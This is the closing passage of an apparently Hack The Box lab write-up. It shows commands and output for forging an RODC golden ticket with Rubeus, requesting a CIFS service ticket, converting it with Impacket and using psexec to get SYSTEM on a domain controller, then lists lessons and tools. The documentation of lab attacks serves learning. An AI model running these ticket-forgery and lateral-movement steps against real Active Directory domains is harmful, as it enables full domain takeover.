[*] base64(ticket.kirbi):
doIFkjCCBY6gAwIBBaEDAgEWooIEfzCCBHthggR3MIIEc6ADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+g
AwIBAqEYMBYbBmtyYnRndBsMZ2FyZmllbGQuaHRio4IENzCCBDOgAwIBEqEGAgQgNQAAooIEIgSCBB6l
jqo64FacsPROddpt6sa0mfBeyNusg9bXjeO1WMnlCPto6277D5WkR0wN4+PpUWNwyNzapxXDYioNKtlg
umIsPOjXLZP1tzFXhXwJEJqGDR4pgfKmuafFUt5xft4odLaFN1exxaqm99xyJWrBaB7Z6hZeiWyu+LGw
D6M891m847/vTPIrklm9VNrcEe7ljhR8O4dHXV6hJ7VGOSI6wBgkHjyzoMd9+2HIj4Vajqe9g+SbqgYe
U4cV8UbxbdmhUkPOiZIaQPbx2qxd0jFBJQ4ScKn2n5OELrwEakmf+84cbedtTGYmZF3IQmESWAOy0Y5k
w1QMbZnPr8y+fgzvizO8RTF82eO5bqdcqHnndBHZpLGOn6Y8qLq3wixCqOVafYzzQnPpbbHFk8Mft4C6
ANhVorc832R83AUBWWfvSIi4aqJCQxhRio40lPqamld0GcNJZM+BcSVzJf4Dt5LSkytGWi9ykLRKOP+X
5/5kBCb7a7oZ7nQDMy487PYQcJQ4MqOPE7sbgjDsDFxf1Tr4DwkujTRxuOKbNLuU+4o075Dt/rLEDKnl
OpxbA8SwbW9RHbiWrapTqlXZCaV0BtLpaY3zwjiSzMpewpGJA7jAuYjKmTJM8wl9aabSNKnkkzwJ+qJF
5rw0C90xVnFUssqKqZPzf+YdX8uJ2ockK9gk4sVLeGlzPKk67zuSl+JCrPRC31a3tjBo1exD0YXEtpY6
MQUTprWxhix6rphCn+Rd2/x+HZmkYivwyqbI7x/FeSPQ9DnDLzjcWUd0P0GQfx3pxXp35L4J1VbQE6Ku
MfcC2SiVyjfMfq7dzgO0z8oTfYfyuiSgglVX/PMBnl1oiRqI028aCLE9vjGG+2OOA3Kz3l2+Yd14amPE
iKlL65aqJNbE0Ipo/+f8kUQdGGbQOs07OZS+KDXww0Kox4HXRxL6FZ5INBgYB2/VrlT9b1bhLS/DNDbI
R52ipCuYHDBIiJScnv1gRaK9/0OZlbhh9m9ju2Fz+27rNn3Y1HKzuh7lcI4SjjVqeygVw6fkcnAC0I8i
jCzeCOaUWqp70GCZf3SFLiemjlEtaO32TKDYfq1PhZmujuciai9U1HnA5s37ijVbCdvKVpjkdEt+86K6
OjSjjauu466jqdhwaqEfoILMDrJaVuODFMHy57vKXBvuVCQ4OKlZajynL0fKaoeq2uJd5Te3ESf2TDoX
PcKZ9K+QsymrgelVzbKc8hYqRmOGclcvWLSNQ5J1z3BgfyeeK0ioIqBk/FZfwRzyB6QHzMQMi+GbRSqS
i1YVH1/YyDcJI8WFezFOyCfH7qQLCgGfAvZvwUMrh39mNsLW0ZanK5ZJuuP7KqWiRFPW0AhLTB6F9JBT
UrxXoZAQJNNEFpsXqyRoMenenAYxXE9ume2f/Y4LFWzLo4H+MIH7oAMCAQCigfMEgfB9ge0wgeqggecw
geQwgeGgKzApoAMCARKhIgQgf6mOrQ5wAQfnvb1a8MPWqkEAHZy0GOTQ+Bagy19GiH2hDhsMR0FSRklF
TEQuSFRCohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQOAAAKQRGA8yMDI2MDQwODE3MjY1
MFqlERgPMjAyNjA0MDgxNzI2NTBaphEYDzIwMjYwNDA5MDMyNjUwWqcRGA8yMDI2MDQxNTE3MjY1MFqo
DhsMR0FSRklFTEQuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxnYXJmaWVsZC5odGI=
[*] Ticket written to C:\Users\l.wilson_adm\Documents\rodc_golden_new_2026_04_08_17_26_50_Administrator_to_krbtgt@GARFIELD.HTB.kirbi
Then requested a TGS for CIFS on DC01:
*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\Rubeus_new.exe asktgs /ticket:C:\Users\l.wilson_adm\Documents\rodc_golden_new_2026_04_08_17_26_50_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /service:cifs/DC01.garfield.htb /dc:DC01.garfield.htb /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/DC01.garfield.htb'
[*] Using domain controller: DC01.garfield.htb (fe80::8d:6111:6cf0:bb46%7)
[+] TGS request successful!
[X] Error 1312 running LsaLookupAuthenticationPackage (ProtocalStatus): A specified logon session does not exist. It may already have been terminated
[*] base64(ticket.kirbi):
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
EURDMDEuZ2FyZmllbGQuaHRi
ServiceName : cifs/DC01.garfield.htb
ServiceRealm : GARFIELD.HTB
UserName : Administrator (NT_PRINCIPAL)
UserRealm : GARFIELD.HTB
StartTime : 4/8/2026 10:27:41 AM
EndTime : 4/8/2026 8:26:50 PM
RenewTill : 4/15/2026 10:26:50 AM
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : MuqfQgkpIZ8JsLfSqMAwTQWKk/uN9Be3+6hAeiT4Odc=
The TGS came back clean. Same key material, same parameters, completely different result. The only change was the tool version. No integrity errors, no revocation, no denial. The RODC Golden Ticket was valid.
psexec — Walking Through
The ptt injection failed inside Evil-WinRM — a known limitation of the constrained session. No problem. I extracted the TGS ticket as base64 from the Rubeus output, decoded it on Kali, and converted it with Impacket:
┌──(root㉿kali)-[/home/kali]
└─# echo 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 | base64 -d > /home/kali/tgs.kirbi
┌──(root㉿kali)-[/home/kali]
└─# impacket-ticketConverter /home/kali/tgs.kirbi /home/kali/tgs.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
Exported the ticket and pointed psexec at DC01:
┌──(root㉿kali)-[/home/kali]
└─# export KRB5CCNAME=/home/kali/tgs.ccache
┌──(root㉿kali)-[/home/kali]
└─# impacket-psexec garfield.htb/Administrator@DC01.garfield.htb -k -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on DC01.garfield.htb.....
[*] Found writable share ADMIN$
[*] Uploading file CeXQscfX.exe
[*] Opening SVCManager on DC01.garfield.htb.....
[*] Creating service gInk on DC01.garfield.htb.....
[*] Starting service gInk.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.8385]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
f49845e1************************
SYSTEM on DC01. Domain compromised.
From a low-privilege domain user with zero outbound control edges in BloodHound, through six phases of escalation — attribute-level ACL abuse, logon script hijacking, password reset chains, RBCD delegation, RODC credential dumping, and a forged Golden Ticket — to full domain administrator on the primary Domain Controller.
The entire attack chain hinged on one thing BloodHound couldn't see: a single attribute-level write permission on a user's scriptPath. One invisible edge that unraveled an entire Active Directory domain.
Garfield taught me something I won't forget: when the map shows no roads, the problem might not be the territory — it might be the map.
Key Takeaways
This machine broke almost every assumption I walked in with. Here's what stayed with me after the dust settled:
Enumerate deeper before exploiting wider. I wasted hours chasing AS-REP Roasting, Kerberoasting, and PetitPotam — all standard techniques, all dead ends. The real path was a single attribute-level write permission that BloodHound couldn't see. When the obvious tools show nothing, the answer isn't to try harder with the same tools. It's to find a different tool that looks at a different level of detail.
Always test write access manually. netexec --shares said READ on SYSVOL. The scripts subfolder was writable the entire time. Share-level permissions and NTFS-level permissions are different things. If I'd tested a simple file upload in Phase 2, the foothold would have been obvious hours earlier.
RODC security is only as strong as who controls the computer object. The entire "read-only" security model collapses the moment an attacker can write to msDS-RevealOnDemandGroup and msDS-NeverRevealGroup. Those two attributes are the difference between a safely isolated replica and a domain-wide compromise vector.
Denied PRP entries override allowed entries. This one cost me real time. Adding Administrator to the allow list means nothing when Domain Admins is still on the deny list. Clear the deny list first, then modify the allow list. Order matters.
Tool versions matter more than you think. Rubeus v2.2.0 and v2.3.3 produce structurally different RODC Golden Tickets. Same key material, same parameters — one gets KRB_AP_ERR_BAD_INTEGRITY, the other works perfectly. When an attack fails and everything looks correct, question the tool before questioning yourself.
Understand your tools' destructive operations. bloodyAD set overwrites; it doesn't append. In a CTF that's fine. In a production environment, wiping the entire Password Replication Policy to add one entry would cause immediate operational impact. Know the difference between set and add before you run either.
When the map shows no roads, question the map. BloodHound is an incredible tool. It's also blind to attribute-level DACLs. That one limitation turned a 30-minute attack chain into a multi-hour odyssey. The lesson isn't "don't use BloodHound" — it's "don't trust any single tool as your only source of truth."
Tools Used
| Tool | Purpose |
|---|---|
| naabu / nmap | Port scanning and service enumeration |
| netexec | SMB authentication, share enumeration, user enumeration, password spraying |
| BloodHound CE | AD attack path visualization (and its limitations) |
| bloodyAD | Attribute-level ACL enumeration, scriptPath modification, PRP manipulation |
| Impacket | addcomputer, RBCD, getST, psexec, smbclient, ticketConverter, secretsdump |
| Evil-WinRM | Remote PowerShell access and file transfer |
| Rubeus v2.3.3 | RODC Golden Ticket forgery and TGS requests |
| Mimikatz | Credential dumping (krbtgt_8245 AES key extraction) |
| Chisel | SOCKS proxy tunnel through DC01 to reach internal RODC01 |
| PetitPotam | NTLM authentication coercion (dead end in this case) |
| certutil | File transfer to Windows targets |


